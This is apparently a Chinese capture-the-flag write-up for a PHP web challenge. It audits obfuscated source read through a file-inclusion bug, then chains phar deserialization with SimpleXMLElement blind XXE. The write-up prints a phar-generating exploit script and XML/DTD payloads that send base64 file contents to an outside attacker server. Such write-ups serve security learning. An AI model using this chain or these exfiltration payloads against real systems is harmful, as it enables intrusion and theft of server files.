前段时间刚结束了2019北邮中学生网安杯,趁现在题目还没关,学习一波:)。
annoying class 网站有两个功能,一个是上传图片
,一个是查看图片
。图片只能上传png
、gif
、jpg
、jpeg
。
查看图片的页面的url:http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=upload/f80ab1372d366318f1ba16ac24545c8b5dfcfc29.jpg 可能存在lfi
。在查看图片的页面的源代码中,发现图片直接以base64写到网页上。试一下查看do.php。http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=do.php 将源代码中的编码部分用base64解码,得到do.php。 do.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting(0 ); require_once "class.php" ; header("content-type:text/html;charset=utf-8" ); ini_set('open_basedir' ,'/var/www/html/:/tmp' ); $ll1lIl = $_GET["module" ]; $lI1111 = $_GET["args" ]; if (empty ($ll1lIl)) { $lI1I11='http://' .$_SERVER['SERVER_NAME' ].$_SERVER["REQUEST_URI" ]; header('Location: ' .dirname($lI1I11)."/index.html" ); } else { $Il11II = new o0Ooo0oO($ll1lIl, $lI1111); } ?>
读一下flag.php发现被过滤,尝试读取class.php。 class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 <?php class oOO0000O { private $ll1lIl; public function __construct ($ll1lIl) { $this ->ll1lIl = $ll1lIl; } private function lI1111 () { if (preg_match("/file|\.\.|flag/i" , $this ->ll1lIl)) { return false ; } if (!file_exists($this ->ll1lIl)){ return false ; } return true ; } public function __destruct () { if (!$this ->lI1111()) { die ('I\'m not stupid!' ); } echo "<img src=\"data:" .mime_content_type($this ->ll1lIl).";charset=utf-8;base64," ; echo base64_encode(file_get_contents($this ->ll1lIl)); echo "\" \\>" ; } } class OOOo0Oo0 { private $ll1lIl; private $lI1111; private $lI1I11; public function __construct () { $this ->ll1lIl = $_FILES["file" ]["name" ]; $this ->lI1I11 = file_get_contents($_FILES["file" ]["tmp_name" ]); } private function IlII1l () { $IllI1I = array ('jpg' , 'png' , 'gif' , 'jpeg' ); $Il11ll = explode("." , $this ->ll1lIl); $this ->lI1111 = end($Il11ll); if (!in_array($this ->lI1111, $IllI1I)) { return false ; } $this ->ll1lIl = sha1(random_bytes(40 )); return true ; } public function __destruct () { if ( !$this ->IlII1l() ) { die ("I'm not a stupid person!" ); } if (file_exists("upload/" .$this ->ll1lIl.'.' .$this ->lI1111)) { unlink("upload/" .$this ->ll1lIl.'.' .$this ->lI1111); } file_put_contents("upload/" .$this ->ll1lIl.'.' .$this ->lI1111, $this ->lI1I11); die ("I have done everything for you, checkout " . $this ->ll1lIl); } } class o0Ooo0oO { private $ll1lIl; private $lI1111; public function __construct ($ll1lIl, $lI1111) { $this ->ll1lIl = $ll1lIl; $this ->lI1111 = $lI1111; if (!$this ->lI1I11()) { die ('Can not do that for you!' ); } } private function lI1I11 () { if (in_array($this ->ll1lIl, array ('oOO0000O' , 'OOOo0Oo0' ))) { return true ; } $this ->ll1lIl="" ; $this ->lI1111=array ('' ); return false ; } public function __call ($ll1lIl, $lI1111) { $class = new ReflectionClass($ll1lIl); $a=$class->newInstanceArgs($lI1111[0 ]?$lI1111[0 ]:array ()); } public function __destruct () { if ($this ->ll1lIl !== '' ) { $this ->{$this ->ll1lIl}($this ->lI1111); } } }
代码审计 do.php中通过get传入的module
和args
实例化了一个o0Ooo0oO
类。
1 $Il11II = new o0Ooo0oO($ll1lIl, $lI1111);
class.php中查看下o0Ooo0oO
类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 class o0Ooo0oO { private $ll1lIl; private $lI1111; public function __construct ($ll1lIl, $lI1111) { $this ->ll1lIl = $ll1lIl; $this ->lI1111 = $lI1111; if (!$this ->lI1I11()) { die ('Can not do that for you!' ); } } private function lI1I11 () { if (in_array($this ->ll1lIl, array ('oOO0000O' , 'OOOo0Oo0' ))) { return true ; } $this ->ll1lIl="" ; $this ->lI1111=array ('' ); return false ; } public function __call ($ll1lIl, $lI1111) { $class = new ReflectionClass($ll1lIl); $a=$class->newInstanceArgs($lI1111[0 ]?$lI1111[0 ]:array ()); } public function __destruct () { if ($this ->ll1lIl !== '' ) { $this ->{$this ->ll1lIl}($this ->lI1111); } } }
该类会在调用析构函数__destruct()
的时候触发__call()
方法,该方法会根据传入的module
的值实例化一个新类。 根据网站功能对应的url知道,当module=OOOo0Oo0
为上传文件界面,当module=oOO0000O
为查看图片界面。 按顺序先看一下OOOo0Oo0
类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 class OOOo0Oo0 { private $ll1lIl; private $lI1111; private $lI1I11; public function __construct () { $this ->ll1lIl = $_FILES["file" ]["name" ]; $this ->lI1I11 = file_get_contents($_FILES["file" ]["tmp_name" ]); } private function IlII1l () { $IllI1I = array ('jpg' , 'png' , 'gif' , 'jpeg' ); $Il11ll = explode("." , $this ->ll1lIl); $this ->lI1111 = end($Il11ll); if (!in_array($this ->lI1111, $IllI1I)) { return false ; } $this ->ll1lIl = sha1(random_bytes(40 )); return true ; } public function __destruct () { if ( !$this ->IlII1l() ) { die ("I'm not a stupid person!" ); } if (file_exists("upload/" .$this ->ll1lIl.'.' .$this ->lI1111)) { unlink("upload/" .$this ->ll1lIl.'.' .$this ->lI1111); } file_put_contents("upload/" .$this ->ll1lIl.'.' .$this ->lI1111, $this ->lI1I11); die ("I have done everything for you, checkout " . $this ->ll1lIl); } }
该类会验证文件类型,上传成功则会返回存储到服务器的文件名。 再看一下oOO0000O
类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 class oOO0000O { private $ll1lIl; public function __construct ($ll1lIl) { $this ->ll1lIl = $ll1lIl; } private function lI1111 () { if (preg_match("/file|\.\.|flag/i" , $this ->ll1lIl)) { 不能直接读flag.php return false ; } if (!file_exists($this ->ll1lIl)){ return false ; } return true ; } public function __destruct () { if (!$this ->lI1111()) { die ('I\'m not stupid!' ); } echo "<img src=\"data:" .mime_content_type($this ->ll1lIl).";charset=utf-8;base64," ; echo base64_encode(file_get_contents($this ->ll1lIl)); echo "\" \\>" ; } }
该类限制了get传入的args
的值,使其不能直接读flag.php。并用file_exists()
判断图片是否存在,如果图片存在且无黑名单字符,则用file_get_contents()
读取文件内容。 这里的两个php中的文件系统函数file_exists()
和file_get_contents()
都会造成phar反序列化。php中的一部分函数在通过phar://伪协议解析phar文件时,都会将meta-data
进行反序列化。 ref: https://paper.seebug.org/680/
payload 1.通过OOOo0Oo0
类上传phar文件,拿到文件地址。 2.通过oOO0000O
类查看phar文件,当调用file_exists()
时触发反序列化漏洞。 3.因为o0Ooo0oO
类对$ll1lIl
的判断是在构造函数中的,所以反序列化该类不会进行判断,并会在析构函数中调用__call()
方法实现利用。 4.在__call()
方法中实例化SimpleXMLElement
类,通过blind xxe读取flag.php文件内容。
SimpleXMLElement::__construct()
如下: 这里要通过给SimpleXMLElement
类的构造函数传入3个参数将其实例化 即$exp = new SimleXMLElemnt(string $data, LIBXML_NOENT, true);
1.$data,xml的内容。 2.$option,传入LIBXML_NOENT或2,解决了libxml>=2.9之后默认不解析外部实体。 3.$data_is_url,指定$data为xml文件的url。
调用__call()
时,取的是$lI1111
数组中的第一位。
1 $a=$class->newInstanceArgs($lI1111[0 ]?$lI1111[0 ]:array ());
看一下__call()
方法:
__call()
方法会将对不存在的方法调用时传入的参数按顺序放入一个新的数组里面。 栗子:
1 2 3 4 5 6 7 8 9 10 class Test { public function __call ($name, $arguments) { print_r($arguments); echo $name; echo ' ' ; } } $test = new Test(); $test->funcname("ll" , array (1 , 2 , 3 )); $test->funcname(array (1 , 2 , 3 ));
这里在o0Ooo0oO
类中虽然只传入了$this->lI1111
,但是它会变成新生成的参数数组的第一项,即__call()
中的$lI1111[0]
。成功传入SimpleXMLElement::__construct()
中。
生成phar文件1.gif。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class o0Ooo0oO { private $ll1lIl; private $lI1111; public function __construct ($ll1lIl, $lI1111) { $this ->ll1lIl = $ll1lIl; $this ->lI1111 = $lI1111; } } $exp = new o0Ooo0oO('SimpleXMLElement' ,array ('http://104.194.71.17/evil.xml' , 2 , true )); echo serialize($exp);$phar = new Phar("1.phar" ); $phar->startBuffering(); $phar->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $phar->setMetadata($exp); $phar->addFromString("test.jpg" ,"test" ); $phar->stopBuffering(); rename("1.phar" , "1.gif" ); ?>
evil.xml
1 2 3 4 5 6 7 8 <?xml version="1.0"?> <!DOCTYPE ll [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php"> <!ENTITY % x SYSTEM "http://104.194.71.17/evil.dtd"> %x; %all; ]> <ll > &send;</ll >
evil.dtd
1 <!ENTITY % all "<!ENTITY send SYSTEM 'http://104.194.71.17/%file;'>">
上传phar文件1.gif,得到服务端文件名。 通过查看图片的oOO0000O
类中的file_exists()
函数触发phar反序列化,并通过SimpleXMLELement
类实现blind xxe,将flag.php的内容发至我的服务器。http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=phar:///var/www/html/upload/5884397d46150457dced4725ce59299a14192dfb.gif/test.jpg 查看服务端日志,得到flag.php。
总结 这题主要考了phar反序列化和blind xxe,正好把之前学的这两个漏洞复习了一遍。 xxe中如果在读取php文件时,因为php、html等文件中有各种括号<
、>
,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。
ref: https://www.anquanke.com/post/id/170299